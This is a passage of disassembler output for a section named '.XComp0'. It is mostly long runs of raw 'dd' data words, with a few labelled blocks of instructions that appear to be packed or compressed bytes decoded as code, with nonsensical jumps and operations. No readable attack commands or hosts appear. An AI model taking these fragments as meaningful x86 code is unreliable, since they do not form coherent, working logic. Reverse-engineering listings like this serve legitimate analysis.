		dd 3DF412D6h, 0ECC12C40h, 7C0E7208h, 0D1317656h, 5324FC18h
		dd 2CBA3D5Dh, 6E68ED60h, 810059D6h, 481924C7h, 90D70135h
		dd 1D51556Eh, 8C6F702h,	14591280h, 0B7108107h, 565D015Fh
		dd 42474FFh, 0DF15D9ECh, 0CC26DD16h, 0AC0E2F47h, 9953663Fh
		dd 83101C40h, 9089C820h, 0A1BB0055h, 0C10AC71Fh, 6CE02EBh
		dd 8E3C405h, 6F000309h,	86C4A633h, 0E9D8291Fh, 1247D093h
		dd 0ED672DCDh, 98264C5Eh, 0D5F14856h, 0B3033242h, 22EB8014h
		dd 0E9180677h, 0BB4219AFh, 196A71DFh, 0C45C013Dh, 0E9F8215Bh
		dd 7DA72336h, 8B76619Ah, 0CCD125EFh, 2F36E9CDh,	401B6EE8h
		dd 46E73133h, 0F031906h, 80E9C8B7h, 5E563E62h, 78045869h
		dd 78BD4004h, 243935D2h, 94F5F531h, 5280115Eh, 8856DABAh
		dd 8C4A2238h, 1A8445E9h, 20BD0055h, 0C128F34Eh,	2CCB08E5h
		dd 0B71078Bh, 0CE9DA20h, 777A9213h, 1D4320EFh, 5FF83100h
		dd 63FC4405h, 0C6090137h
		dd 0E9574658h, 0F6932459h, 0F780DF0Eh, 3BC767FAh, 505BFE00h
		dd 90F07288h, 5AAFC4B0h, 82C00C83h, 0FEDD28F6h,	0E72A2092h
		dd 67F5BB01h, 0F7532E46h, 5BF830h, 0ECB9514Bh, 16123B3h
		dd 8959CB16h, 0D1122013h, 0C7CA4400h, 0EC400730h, 29C90FF2h
		dd 0C28038F9h, 37579D55h, 5A095B90h, 237112E9h,	59CD54h
		dd 0C34EFB58h, 0BAF18163h, 3C624218h, 5820260Ch, 3210233Eh
		dd 0EE5C7B6Ch, 3AF61CFEh, 0B410CED2h, 47984808h, 0BF5714D6h
		dd 0CA2A6006h, 0C015FD75h, 0D24E8346h, 0FE49014Dh, 278B5042h
		dd 0AFBB80h, 81567678h,	2F7E68CBh, 4DE9360Ch, 0FE14D91h
		dd 11C84F14h, 2044967Eh, 31D7E37Dh, 511EDF12h, 0DB367304h
		dd 13611316h, 30D30370h, 0C022E3Dh, 753A52AAh, 18DA621h
		dd 0CF3FC2Fh, 6CD666CFh, 6105F70Ch, 0D83105E1h,	4085768Ch
		dd 0F74C97D3h, 0E0132A08h, 0EFBE20E1h, 6994A52h, 4C1D01E4h
		dd 18482ECh, 249CE908h,	0C9BD26A6h, 158EC304h, 6931788Bh
		dd 4D01D4Bh, 65B6D430h,	882C2389h, 0E7038152h, 0C1E1053h
		dd 5CF7B847h, 86D248h, 36D6955Eh, 0FB660171h, 24395FC5h
		dd 84B4DE89h, 0D1B1E9h,	0C168D031h, 0A606B930h,	6D950832h
		dd 73115E13h, 0D89C40F9h, 0B1215A81h, 197B4D62h, 5A335DEBh
		dd 0D06B631h, 9C664DD7h, 0E689560Ah, 2880218Bh,	0DAD0049h
		dd 0D1F74903h, 754D99E9h, 0F2042033h, 914E4CE1h, 836288D0h
		dd 1058E289h, 1B5B691Fh, 76202056h, 1F8E5CB4h, 3FC229CDh
		dd 1EEB31B5h, 986B0CA6h, 71FEFD65h, 250E7C60h, 61A876ACh
		dd 7BB7DA5Ch, 5D3AA63Ah, 0C4C5890Dh, 20E97A5Ch,	6817CA50h
		dd 0A6650BF8h, 0A30A0100h, 92B9F1E9h, 771C8975h, 1016033h
		dd 0D17A9253h, 11E820EAh, 7F1A5112h, 305DF401h,	5831034Eh
		dd 74991C80h, 82E9D52Dh, 0C48BA654h, 9470B980h,	38D5A01Ch
		dd 93E74C68h, 0E954803Ch, 12C7A4BAh, 3472C388h,	66A1C8A8h
		dd 98B6620Fh, 0FF0097D1h, 0FA9D1C77h, 0F8186758h, 1ECBF29Ch
		dd 0AE0B34E4h, 24CBC1Dh, 60D51185h, 81A1EFE6h, 10722751h
		dd 284C9320h, 0FA9E8BDEh, 0C0C14A26h, 0F1842FE6h, 8802C201h
		dd 9B15641h, 0B200DEF7h, 48FB66AFh, 8692D4A0h, 3174111Fh
		dd 0F7015D00h, 0D57879E9h, 838C3530h, 0CFA0870Ch, 2C653DE9h
		dd 13C0F193h, 36E46E25h, 340E5E37h, 0E22CD5A5h,	0C563EBA6h
		dd 1B11C95h, 4F59DDCDh,	810BD5F7h, 0D218BC07h, 0F661E829h
		dd 0DC6DA07Eh, 80CD8560h, 2C533FC6h, 2822D3B7h,	0C80A2075h
		dd 0FBF4FBA0h, 0F3AEAF94h, 0E96C986Bh, 17D0601Ch, 2F377AF1h
		dd 699544Ch, 7D82590Dh,	902416CEh, 1131645h, 8BF02156h
		dd 2253234h, 840FC00Bh,	0FDC8A857h, 7B685282h, 3320466Bh
		dd 87238FE9h, 245C102Eh, 92135A92h, 6335D0Dh, 0E0E90D86h
		dd 98AC2ED0h, 12725559h, 2200455Dh, 0F11BD1EAh,	485F29E9h
		dd 0F825BCB3h, 18148209h, 77E4FF82h, 2D20C786h,	0A57792CEh
		dd 3F6884D5h, 12ABA26Eh, 1F105854h, 0B914DEA5h,	0D1CB84BEh
		dd 5D8F290Fh, 68C5AC5h,	5351D40Eh, 0A4183321h, 0E744424Fh
		dd 8888009h, 0F6095545h, 16E4647Ah, 0C731825Fh,	0C121B5AFh
		dd 0E68308EFh, 0BB01CFEEh, 8DB16C93h, 9820DF29h, 62944D17h
		dd 0EA30D539h, 0F5814D08h, 5DC69B09h, 7BA680A7h, 4651972h
		dd 9E9CB29h, 102E143Fh,	244A4235h, 0D3B19717h, 272803E2h
		dd 0B20FCF89h, 0A4EAD0E1h, 729023CDh, 0E9296E68h, 1893D054h
		dd 6051E2C8h, 0D3CFEA0Ch, 4FAE47CEh, 60448081h,	4EB0324Eh
		dd 0AE0E750Fh, 0C8EF806Fh, 1202FB1Eh, 0C15FFA29h, 4D2A3E37h
		dd 98D120DFh, 3B32CB41h, 10A5B218h, 8991535Fh, 0F5D8D26Eh
		dd 58FEAC5Ch, 338C5305h, 6D931F2h, 38325C0Dh, 528522Ch
		dd 531C0D68h, 7C9344EBh, 274CD9C1h, 7DAD490Ah, 0E95508C1h
		dd 95876566h, 9249ADC6h, 4A60890Eh, 35CF451Eh, 0A1F269E0h
		dd 4376803h, 3BF2650h, 61122C4Ch, 0DFA614C0h, 0F631709Fh
		dd 0FA0E88D7h, 0A3535B66h, 0D9CB86D3h, 93D330D1h, 9087CD9h
		dd 0F2805BDAh, 2C67DE87h, 0E91AD0D4h, 0E548C4C0h, 651C26C8h
		dd 2681653Fh, 8151244Bh, 47F0581h, 105ED54Bh, 0E4F04C81h
		dd 633BB92h, 0DC20631h,	0BAC3295Ch, 2F1C49A6h, 0FE5D3264h
		dd 88D091C5h, 0C10F7537h, 0AE127EE1h, 0CA01C1C1h, 585A1920h
		dd 0D180A937h, 8127D27Eh, 9678C23Fh, 0A7006895h, 264C0429h
		dd 5E225C1h, 3904A70Bh,	7DC01350h, 4BA7FF2h, 52514F3Bh
		dd 4871E059h, 447A6450h, 104BB40h, 51D8286Bh, 0D0D7B450h
		dd 9006B353h, 0DD309EB5h, 5A5E202Ch, 5943584Fh,	2E826859h
		dd 22D4E917h, 0F2D358C8h, 3CD1086Eh, 24DBA643h,	8F6E8002h
		dd 0E4A64008h, 42EC0924h, 73E0FB09h, 31051CABh,	22C4E9FCh
		dd 0D3299E43h, 501E075Ah, 6370575Ch, 82B1F0E3h,	0C058A444h
		dd 1440D40Fh, 7A7E10A7h, 292F832Ch, 2F72AA3h, 0E9CAB050h
		dd 94A67469h, 54004EDBh, 0C14EA256h, 134307EBh,	47D6CFE9h
		dd 0A05BC7FAh, 0DFF77AECh, 0EF050998h, 7E5A5FB9h, 846E9C2h
		dd 208504B7h, 88ADC2AEh, 0F500A352h, 1AF8379Fh,	0CE07EDC1h
		dd 0E5C10606h, 34CAE905h, 0E206C0BCh, 89C28004h, 76354006h
		dd 28FC82E1h, 625066C3h, 958E1h, 127E92B9h, 5F022D4Ch
		dd 530DCA00h, 0A5260CBBh, 8A49C25h, 0BA038906h,	0E74B5D30h
		dd 0E7196089h, 46E6AA71h, 67B6F6A2h, 69D10A16h,	0FBE2604h
		dd 75E3A557h, 20686A8Ch, 544E1BD9h, 25839D09h, 97DC59A7h
		dd 0F6A840D2h, 8851D30Eh, 2E849DDh, 84E1AB72h, 0F3F2B9B0h
		dd 0A915BC58h, 0CE00BCE8h, 3A7E389Fh, 0DDFBD6F7h, 6B1AACF4h
		dd 0A20F69CFh, 0AC6C68D8h, 999BBCC5h, 0CFC0B1B9h, 868F3818h
		dd 34EDC0h, 0E781D7F7h,	3FEB4551h, 391E474Bh, 15360C4h
		dd 7F9EE0h, 2961410Dh, 9AE952D0h, 31016BB6h, 0CF015AD1h
		dd 2BB7D0BBh, 0B8509216h, 0F01950A2h, 0A44BE05h, 105F361h
		dd 8D60C4F2h, 54B0924Dh, 10DEAC04h, 0FA3EC2A3h,	0C12EA804h
		dd 0F69F80E6h, 1E26107Eh, 60031315h, 0E00EA668h, 130626E2h
		dd 52422E02h, 2006120Eh, 2955DC08h, 0D631CC16h,	0A21E3785h
		dd 460A4ED2h, 48AC393Ch, 29B0324Bh, 80928BF6h, 25D8F739h
		dd 0CE631885h, 4F30F08h, 40686F14h, 33D220F2h, 0F85C2C59h
		dd 6CA94BF7h, 0B92491C5h, 2EB8E984h, 680923E2h,	0AB995B9Fh
		dd 87D42CBAh, 44AB8BD6h, 314C327Fh, 7E53E12Bh, 98B40622h
		dd 0CE248626h, 890C41A1h, 0A45F9FFAh, 5815C80Ch, 5836E9C2h
		dd 57AD00DEh, 86685053h, 640EB80Ah, 21563558h, 0C38955FBh
		dd 1704BFE0h, 215FBBB7h, 4469182h, 0C15CAA47h, 68FA56ADh
		dd 1482BE5Fh, 0F962AF35h, 0EED10202h, 0A260DEF7h, 0C23E1B43h
		dd 5E78B0Ah, 242A844Fh,	0E345590Fh, 48ED8B02h, 3BA0792h
		dd 57200DBFh, 12626620h, 15EF729h, 0BD554784h, 5BA4E4E2h
		dd 5DEF3117h, 8006E909h, 2B284DD5h, 936902Ch, 32AE87DEh
		dd 61ECCE8h, 76278082h,	0C7041567h, 276B960Ch, 0B4EEC01Bh
		dd 663B7378h, 5F0324C1h, 0FC6DDF02h, 1010077Fh,	0F1E927B9h
		dd 7E35BE4Ah, 41653E35h, 1FC52381h, 1FEFF3A3h, 872F7B83h
		dd 744C8A09h, 0F335595Ah, 18126487h, 48E289F2h,	9478AFA6h
		dd 32BBCB2Dh, 58D43F58h, 159CD3C5h, 7AD2605Ch, 0CAC2E99Ch
		dd 0A44A62D4h, 7915D780h, 413A58B9h, 7B0F9609h,	5DDB9B02h
		dd 38B9D0CAh, 284B939Dh
		dd 946293h, 0B9515713h,	6F2310D7h, 10F1812Eh, 846AD009h
		dd 68020C7Dh, 0E2661361h, 0B786B100h, 32EF80EEh, 97BE2DE9h
		dd 93D9DEBBh, 0BD6280F6h, 36086560h, 30287C01h,	0C42F67F9h
		dd 0B2986602h, 207AA926h, 25480069h, 905E46E6h,	84139401h
		dd 929963E9h, 0EF9314F0h, 9466378Fh, 8113A91Ch,	0ADE9C330h
		dd 0FBA9074h, 60012C5Ah, 8527B44Bh, 8E826780h, 85F08492h
		dd 0C240007Ah, 30FC3E4h, 300D569Ch, 0E7580FDh, 0B43184E4h
		dd 949ACF7h, 7600691Ch,	331850E1h, 4F09CFECh, 632F5E11h
		dd 0F64ED304h, 7BEF1F1Ah, 17F4B5Fh, 0C9E95E81h,	0E160AEECh
		dd 3E885364h, 0E5988C5Bh, 94B1F320h, 1F7542FCh,	53D83100h
		dd 59EB2768h, 7831AA4h,	69C25166h, 88EB5102h, 0F7189EF1h
		dd 17A2BB38h, 4B31C772h, 0E696602h, 9A689F6Ch, 14E6B43h
		dd 0C10484Ch, 8C8B0A45h, 69025E08h, 6009C8C2h, 0F6CE311Dh
		dd 6068154Eh, 0BB00403Fh, 7DD0E76h, 0B512CB81h,	3C05C37Ch
		dd 6DC884B0h, 28AE8008h, 26EDD35Ch, 6152BD88h, 6F9D728Ah
		dd 0AA3FC9D0h, 3F265BE5h, 1D6DCC8Ch, 836984C7h,	0E9E7600Ch
		dd 40545A4Bh, 5B0284C9h, 3616BD75h, 120C3D70h, 507EE0CDh
		dd 1F2D8DEBh, 75C7ACAh,	0D355D001h, 40033E1Ah, 2A7CD9BFh
		dd 0D34AEF67h, 0C8A28589h, 0B14AC8A0h, 0A131984Dh, 58D3D721h
		dd 99514378h, 0D9E99D4Bh, 3146166Fh, 0CEEF3090h, 0BF23C707h
		dd 427F4E27h, 70F3BD0Dh, 72BA0BB8h, 10406393h, 0B8806EF2h
		dd 0FD2800D5h, 39620D08h, 0B3FE727Ah, 0CB7D2B60h, 4C516892h
		dd 9304B93Fh, 0C040E54Dh, 0F1E4DCFAh, 97203D98h, 5D54289Ch
		dd 124D0F9Eh, 4AA60904h, 3B02D4EFh, 36840FC2h, 0ACBBE8DDh
		dd 0C989576h, 0DC171727h, 0A1C2554Ah, 0BE0AF0D7h, 39326D5h
		dd 664C1AF5h, 9E0910F1h, 8DE9521Ch, 0D017A92Ch,	0BB6039D9h
		dd 2D844051h, 0F01F050Eh, 7B96A136h, 17446508h,	508A95B3h
		dd 0C85845B6h, 3F3F161h, 57E4B156h, 53685B81h, 245F0746h
		dd 75418943h, 8350B9F0h, 8A0683D1h, 0FF4F4615h,	5A123268h
		dd 2166F561h, 9A13D732h, 300B3D77h, 0BB5B2E68h,	5EDA1A61h
		dd 0E90CA833h, 5F10B37Bh, 77EA8324h, 3C101410h,	0D5F61952h
		dd 482D1726h, 32611A07h, 0D9CA6249h, 300ADF41h,	8610278Dh
		dd 5A27F430h, 0A3584E1Ah, 0C49E925h, 7141CCFh, 89576111h
		dd 0EAECD2E8h, 4CD459F2h, 6206D16Fh, 42515C9Bh,	3AD06D82h
		dd 56B4CF0h, 0D37157A2h, 0B12045BBh, 9003B2A2h,	9F1CA326h
		dd 6653EA57h, 0C5140B58h, 2B2AD028h, 0A2C435E3h, 6890DF3Bh
		dd 0F7C25D8Bh, 98E9CA18h, 0BF529D4Eh, 0D7D34E88h, 0CB59645Ah
		dd 46E90AFDh, 50CA6AB8h, 0ABEE13BFh, 0CAE51E5Bh, 53A669CDh
		dd 0DFFC2BFCh, 48491FB0h, 5F14B117h, 44A864BCh,	0F95E6293h
		dd 302F4D16h, 77EF68ADh, 0E950E49Eh, 2B39595Bh,	17D0A162h
		dd 5289AEF1h, 6C5A6054h, 0D893877h, 22AC99Fh, 394F6820h
		dd 0C305F66Ch, 211B2F10h, 0EA952E82h, 2979B129h, 45187822h
		dd 0EA21D0C6h, 0E2815D01h, 27B125D7h, 0AC1213DBh, 64F85690h
		dd 84F99D05h, 341F6876h, 0F0CEBF92h, 4F9025h, 6E601EB4h
		dd 2959C889h, 0FF58C22Ch, 0C8FAD19Ch, 0E3E91392h, 0CB01D244h
		dd 25BDCEC4h, 6718C703h, 26DA2B2Eh, 3E8E8770h, 676AE694h
		dd 0CB09C11Fh, 46FF8259h, 94E5E496h, 4AE44B4Ah,	5A9E8754h
		dd 276DA4ECh, 19A4C445h, 2F762989h, 0BB7B54A7h,	0B8007C1Eh
		dd 740234CDh, 750DD525h, 4876EFh, 1ECE01A9h, 0E246BA2Dh
		dd 89016075h, 299A0D76h, 6A7058C7h, 0D0473966h,	5FFE2579h
		dd 2DD87708h, 0F4410232h, 0E88105E3h, 10429F6h,	4C629C82h
		dd 0BFCA9A3Bh, 544C62D7h, 492AA08Dh, 295E2B5Ch,	68052037h
		dd 195D492Fh, 212430C4h, 35FB7721h, 0A30E47E1h,	0FA7606Bh
		dd 2CE9C8AFh, 807712D5h, 612F274Bh, 18095B05h, 82F76625h
		dd 1126DAh, 0C791F681h,	1C4BD04h, 51CE5EF2h, 23847848h
		dd 4835E920h, 2568B75Bh, 815C2099h, 54EEBFC3h, 0EFF018F0h
		dd 0FC12EE9h, 9F004948h, 7640FDF7h, 0BF0C4F60h,	18146973h
		dd 5B6142E9h, 1F131AEBh, 52004429h, 6B262D9Bh, 0E1719058h
		dd 4B30CC48h, 848C3685h, 824D18A0h, 0A069DB94h,	0F65CDAC2h
		dd 7568141Ah, 14D2C23Bh, 0A393B40Ah, 0E7810113h, 0F433592h
		dd 12AAEFD8h, 10F908FEh, 0E9841A17h, 5FAAD28Fh,	23B0BFECh
		dd 20753803h, 0F3D5F771h, 0EC06A0F5h, 9E91808h,	6203260Dh
		dd 0DB68380Bh, 609C1A3Ah, 807CB8C1h, 2A09BBB9h,	4966CFh
		dd 0E66067ABh, 0D931136Bh, 2950A05Bh, 485EF527h, 817F275Eh
		dd 0E488953h, 90F9539Dh, 0C3FD8510h, 14C26A90h,	99B4F4CAh
		dd 0BF57403Fh, 152E0C45h, 3812AE78h, 0FC12C72Dh, 31CE9001h
		dd 4929B27h, 87D544C0h,	0C6ED5052h, 0D80031DFh,	1A22055Bh
		dd 980140AFh, 0A4462F9Fh, 41448A22h, 20628156h,	81B80029h
		dd 7D5CC270h, 0E1550077h, 54BE2505h, 9541286Ch,	0D806CBB7h
		dd 50DB5700h, 7B987A4Bh, 0FC5ABE40h, 9A0B4DEh, 69CC5CD1h
		dd 6E622D4Eh, 9A456B5Ch, 0BA2F40E6h, 4D66B164h,	257122CCh
		dd 4FEAA5A5h, 5E21AE56h, 0F24D02D1h, 0BF583131h, 6072ED83h
		dd 0CF295C09h
		db 21h,	47h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jbe	short loc_4F496B
		xor	al, [ebx-110E78F4h]
		push	es
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0D09B6F18h, 5516652Ch, 4AF9E324h, 9A95C29h, 2A7303B1h
		dd 0B7123408h, 14E0362Ah, 36304E5Ah, 4C6103EAh,	6B20114Ch
		dd 46CFFE2Eh, 0EE0F8611h, 4C675201h, 0A6AB5F24h, 2B298E41h
		db 1, 0C7h, 20h
; ---------------------------------------------------------------------------


loc_4F496B:				; CODE XREF: .XComp0:004F4921j
		add	edi, [edi+61h]
		cmp	al, 66h
		inc	ecx
		movsd
		and	ah, ds:13596DD8h
		sub	al, 8Ch
		jg	short loc_4F49DE
		add	[esi], eax
		not	edx
		push	1B7ECA5Bh
		inc	eax
		push	esi
		mov	esi, 163C7BA9h
		push	cs
		mov	cl, 0F5h
		push	ebp
		jmp	near ptr 8A628545h
; ---------------------------------------------------------------------------
		and	[eax+7D9A1EBBh], bl
		sub	[edx], ch
		cdq
		retn	90h
; ---------------------------------------------------------------------------
		db 0EEh, 81h, 0C6h
; ---------------------------------------------------------------------------
		test	eax, 5D124954h
		cld
		mov	al, ds:4B4C38BAh
		cmp	eax, 37426807h
		db	2Eh
		retn	3D84h
; ---------------------------------------------------------------------------
		dd 0A0A38F09h, 0D401FAF2h, 0F153FA0Bh, 0EAFB282Fh, 0A42BC7AAh
		dd 7426D502h, 0B9DF2903h, 9D262775h, 5447A405h
		db 37h,	80h
; ---------------------------------------------------------------------------


loc_4F49DE:				; CODE XREF: .XComp0:004F497Aj
		sub	al, 0D3h
		push	edx
		jo	short loc_4F49EA
		inc	eax
		and	eax, 4EC96CCFh
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------


loc_4F49EA:				; CODE XREF: .XComp0:004F49E1j
		jmp	near ptr 0AE01FA09h
; ---------------------------------------------------------------------------
		push	57h
		cmp	es:[eax], al
		sub	eax, 777B0D6Fh
		retn
; ---------------------------------------------------------------------------
		dw 4701h
		dd 0B073AB35h, 0A5F44026h, 42312C62h, 26EC1060h, 5A02A0ADh
		dd 81374E32h, 6CD276C4h, 177129FDh, 31BE9740h, 10209C2h
		dd 0CA015AD0h, 2679FD68h, 67AA0500h, 4E844E25h,	122920E0h
		dd 0A05658C6h, 5105CD20h, 88E925ADh, 7459F4B1h,	514C6221h
		dd 525B21DAh, 0BA81E906h, 0CB1D9E1Ah, 0C11CEE7h, 7E90862h
		dd 52ACFFE8h, 80D9B205h, 1ACBEFCAh, 440FE250h, 0A40CF223h
		dd 0C5CFB4Dh, 0BD970ED5h, 0FEB8315Bh, 0A2985DE9h, 43921435h
		dd 0BC63FBE0h, 4AFA2ABBh, 0F3FA8150h, 7A9E2701h, 2AF91932h
		dd 4D0E46BFh, 0BB024456h, 796D45C6h, 5E390554h,	6F5488F1h
		dd 1F1CDCADh, 28403860h, 6F889B94h, 0EA800346h,	0E2A158D6h
		dd 90F4F3F7h, 0D7685654h, 32CE520Bh, 0F527065Eh, 31587C88h
		dd 0F38B14C9h, 0A1706804h, 900E634h, 1AB85BDEh,	0ED999F14h
		dd 0B42F7FD5h, 9381A2A4h, 0CD05B98h, 0AD5D3B83h, 0A9C9C24Fh
		dd 0B0093924h, 6361B442h, 0D08C73E9h, 0BB0F66F9h, 0B0084DB1h
		dd 0C13117C0h, 46AC926h, 1396DAE4h, 0F40B7413h,	0FA5C681Bh
		dd 54129AA4h, 5B99EB55h, 2F58F101h, 645E3022h, 19DB48Dh
		dd 1586D02h, 0DDBF3253h, 5735ED93h, 77CA9591h, 0DC34B501h
		dd 0BB9FE7FBh, 0C0C3D9C7h, 20CE9656h, 5B4F72E4h, 0BD93F8C7h
		dd 0EA612E1Bh, 0BD9052C9h, 1E2468F3h, 7100A855h, 0E9136F10h
		dd 0D5394117h, 0A79A5516h, 0C05C25EFh, 65E968E8h, 0AC272D36h
		dd 0A0B005A5h, 0E256C720h, 0EF0048B7h, 5E7C08Ah, 5000C7FEh
		dd 535134B4h, 70B1C8B7h, 83F94822h, 8002E842h, 0E9C0E6C9h
		dd 0C14CEE8Fh, 0D98334C9h, 0E78A19A8h, 1DE0EAEBh, 0A9E3812Dh
		dd 801B123Ah, 8954960Ch, 2DE94B02h, 0FCA02DACh,	284A1FEDh
		dd 0F1272B7Ch, 0C6556A66h, 119C2E3Bh, 822C4776h, 88ACBF8Eh
		dd 0A5D45880h, 4BBA20E8h, 0C4D3375Eh, 81A5B192h, 1A342786h
		dd 1D20560Ch, 0BE1313A2h, 0A96A0976h, 66B06496h, 0F0EC8BB6h
		dd 9B1B4ED1h, 4F12525Ch, 0E5AFC3h, 1A26756Ch, 5D650D48h
		dd 35407A03h, 0FEC028D5h, 0E5CD49FAh, 0E100CC58h, 811E6A3Ah
		dd 391373E7h, 59057631h, 32B80A75h, 2A0CBBC0h, 84F378DEh
		dd 5E0C1ACh, 861CE281h,	0B8726272h, 9F556525h, 5613A25Eh
		dd 0C995AE3h, 0A43CAF70h, 81F220C2h, 51B7B604h,	6FACF588h
		dd 0C3075A38h, 0EBB05058h, 0A570B509h, 78EE547Eh, 0BB004FB6h
		dd 4C934E08h, 2BBD0F55h, 8120DE6Eh, 632644CDh, 70C3960h
		dd 4B10B44Ah, 4920874Dh, 0D75D100h, 5F9E2E20h, 6025A724h
		dd 12A6C365h, 17D540Ch,	44624517h, 8B046E7Bh, 0CA1747C9h
		dd 354B7EBDh, 0EAC139C0h, 7E2FC07h, 4A2466B2h, 34417F42h
		dd 6EF91604h, 0FAD14A04h, 0E4C61E90h, 807E2EABh, 895E0978h
		dd 1B88618Ch, 4A770305h, 46ACEBE9h, 23B4CF58h, 8CDD3CACh
		dd 0FE05011Bh, 2C6835Fh, 419DCCF4h, 900441A5h, 0C19E706Eh
		dd 405EF2Ch, 0CB396019h, 1C109162h, 428F0B29h, 0B6068030h
		dd 0FC31485Ah, 41584F43h, 0AC7B6FF0h, 15407B75h, 273F1EE7h
		dd 6DDC37E9h, 0A0A56527h, 11B046CEh, 8FB0CF24h,	3DE5F237h
		dd 6FDCBFE1h, 0B7E9224h, 7B27685Dh, 7882DD9Ah, 8E615356h
		dd 81D7049Bh, 0C14025BBh, 34B0EB84h, 4C553068h,	0B502DE0Ch
		dd 0B27E7290h, 0F9475B81h, 3EB1EDD5h, 0ECDCEECh, 87681827h
		dd 124436DAh, 0F1E4317Eh, 3D308DEh, 80439D49h, 2375F848h
		dd 5A0CC03Ch, 890EC50Dh, 0D160D967h, 36E1809Fh,	0B044F366h
		dd 53CF3B13h, 64FC7F3Ah, 0C349AF08h, 0C058DE11h, 95E41215h
		dd 0BB3D84C9h, 372740D4h, 0C5F71DA2h, 0EA4026E2h, 239C038Fh
		dd 542A3A80h, 1EF5816Eh, 6E5C69D0h, 269A384Eh, 0F7606AD4h
		dd 0B4201C7Ah, 83EA2A74h, 0CBED4FFh, 0F06D244Eh, 0A173B99h
		dd 0E2885221h, 68434089h, 5A2EF12Ah, 0B58E5D48h, 6257B705h
		dd 6A05DB80h, 0A93C4832h, 72DE814h, 0B5865558h,	759835B4h
		dd 0E0AA0926h, 0BAC9F70Ch, 0C8883950h, 5928C858h, 0D3BC4F99h
		dd 0D3E8F72Ch, 212EB41Ah, 0F1029F8h, 3E045A00h,	0E828E72Ch
		dd 8AB7D3EDh, 0F060838h, 551AE281h, 0E12444DEh,	635CFE42h
		dd 0CD875EE0h, 60E8CEBAh, 0D4CEFD01h, 6D62A6F6h, 36A4050Ch
		dd 885F1F4Eh, 904EE0F3h, 0A185A527h, 6438F3E1h,	49EDE307h
		dd 0D87BC748h, 0CB042B28h, 739B379Dh, 0CD120A14h, 20490005h
		dd 29764A0Dh, 28ED951h,	0B8895B08h, 0E99DFDE5h,	5C9282EEh
		dd 0FEAE9A4h, 145249FEh, 0CA4ABEE5h, 55F87D21h,	0BBE88A95h
		dd 7D6E6884h, 8130A1A2h, 3A469916h, 0CBC4174Eh,	0AF680703h
		dd 0CD7D1042h, 0D7F61AB0h, 10EC104h, 0FEE7F7CCh, 8D0EBD28h
		dd 59C5897Dh, 31F5A5CCh, 1848E4Ah, 0CB20F7D0h, 67F7F387h
		dd 0D2DB09D6h, 19E642D4h, 0EB49A2F0h, 22957E14h, 0C193BAF2h
		dd 6B351Bh, 50E0EA9Bh, 89488A91h, 0C85B73D4h, 0E90860CAh
		dd 0AC07A632h, 0B682D830h, 0E98A76B5h, 0B8C9BF12h, 2F3DBCFEh
		dd 127514D5h, 221C6F21h, 0FFF81A3Ch, 0EDA8824h,	5B0B2510h
		dd 0AE90E328h, 999D5450h, 4960572Fh, 0A930160Eh, 0C7FE0039h
		dd 4020A25Ch, 0FB7F090h, 4A84324Ah, 44D16404h, 0E6C6580Eh
		dd 0F872A39Bh, 5F37C17Ah, 97E40801h, 0F7E0DCB1h, 0F9EF0481h
		dd 0A347D148h, 0EFC04BC0h, 4F408C5Fh, 56D7C1ABh, 0E5C034F3h
		dd 81810639h, 33926D4h,	0C470DDF7h, 2872943Ch, 29B8408Ah
		dd 0E304B79Eh, 0F181060Ch, 6801F1A2h, 58BB801Ch, 0D56B192Dh
		dd 0F801140Ah, 0FF160705h, 0DD532130h, 0C45868A8h, 0AB41958h
		dd 27BA4EA6h, 2D6082EAh, 35075EE4h, 5A9004ACh, 0CEA20FA0h
		dd 0C721057Bh, 0A933B3E9h, 4D93D724h, 0C4ED40FBh, 0D2541780h
		dd 5E0D014Ch, 73D9215Dh, 0B0D6840Ch, 8408E647h,	5724902Ah
		dd 295A1568h, 0FC47C30h, 5454CA3h, 5B4D4802h, 6E84340h
		dd 5F7D2E32h, 5E23E300h, 0C0E94B68h, 66FAA8F7h,	7DB3500Fh
		dd 8CAF8B29h, 1890590Bh, 0C988025Eh, 98542629h,	51783BEAh
		dd 2C6E08EEh, 4269F96Ch, 0B5BE58A9h, 6AF8961Ah,	5BAB4E30h
		dd 3E44F5F6h, 0F0834306h, 6FA7255Eh, 7055AF8h, 19F61505h
		dd 0F2A867E9h, 2973395Bh, 75094BFh, 0F4E95152h,	178014FCh
		dd 0BF675EBh, 8A22BD00h, 9660742Dh, 0C00B353Bh,	0F81141FDh
		dd 4CA7301Fh, 2F96EF6Dh, 0BE6E743Eh, 0BE2A7F9h,	7336054Fh
		dd 0C90C715Eh, 9E40FD16h, 0B3125BEh, 669B30C0h,	0D7885307h
		dd 268837E9h, 43AE0324h, 0F2B0522Eh, 0B8134051h, 0F5A0095Dh
		dd 12329DF5h, 57C8DCC8h, 0A22FCA31h, 6DDD064Bh,	4FE80C82h
		dd 33F617FDh, 0F9212B0Bh, 0E1514BF3h, 9909742h,	0E00EFBF1h
		dd 5923A736h, 222EF370h, 0DAD0A049h, 0D0213F5Bh, 0E8845358h
		dd 0B2520137h, 42A8883Fh, 82284CFCh, 7C691610h,	395BDC38h
		dd 0D4F680FCh, 0E93DC480h, 0E2AE9EBh, 0D80755C0h, 0C15B452Ch
		dd 48585CDAh, 781257C2h, 73D36C9Ch, 0BDF29C2Ch,	47E9E698h
		dd 0BD01459Eh, 355E2B51h, 0DD6C70h, 456A347Bh, 5FE9D5F7h
		dd 0C72D4CBCh, 2510A60Eh, 0B9C38D92h, 665AF191h, 0CA4E709Eh
		dd 7F95B704h, 68093CA2h, 0E183FC5h, 626592E9h, 0EFC0F663h
		dd 0F8572373h, 88744FACh, 0C79131BBh, 0B5C50E18h, 0EC28309Fh
		dd 80DCF666h, 1BD220EDh, 4F09EF94h, 70808153h, 0F638198Eh
		dd 0A218854Ch, 0F2E7712Eh, 4B5A7907h, 608EDFF7h, 34A609CEh
		dd 647D27E9h, 88ADF2A2h, 2364EB8Fh, 5153AB8Ah, 56388A09h
		dd 81CAEE0Dh, 57C028Fh
		dd 19C128EBh, 0C3310394h, 0C88FC25Dh, 0EC50821h, 0DC685866h
		dd 0B35C3193h, 68C3FAE4h, 0BA98484Eh, 83F50580h, 0ED40B8E9h
		dd 58B6C97Bh, 0C8312F6Fh, 8B9F126Ch, 0A6315B8Ah, 8C565AD3h
		dd 804FBCD0h, 2F395F2Dh, 7D058330h, 0D56D8B2Eh,	11786081h
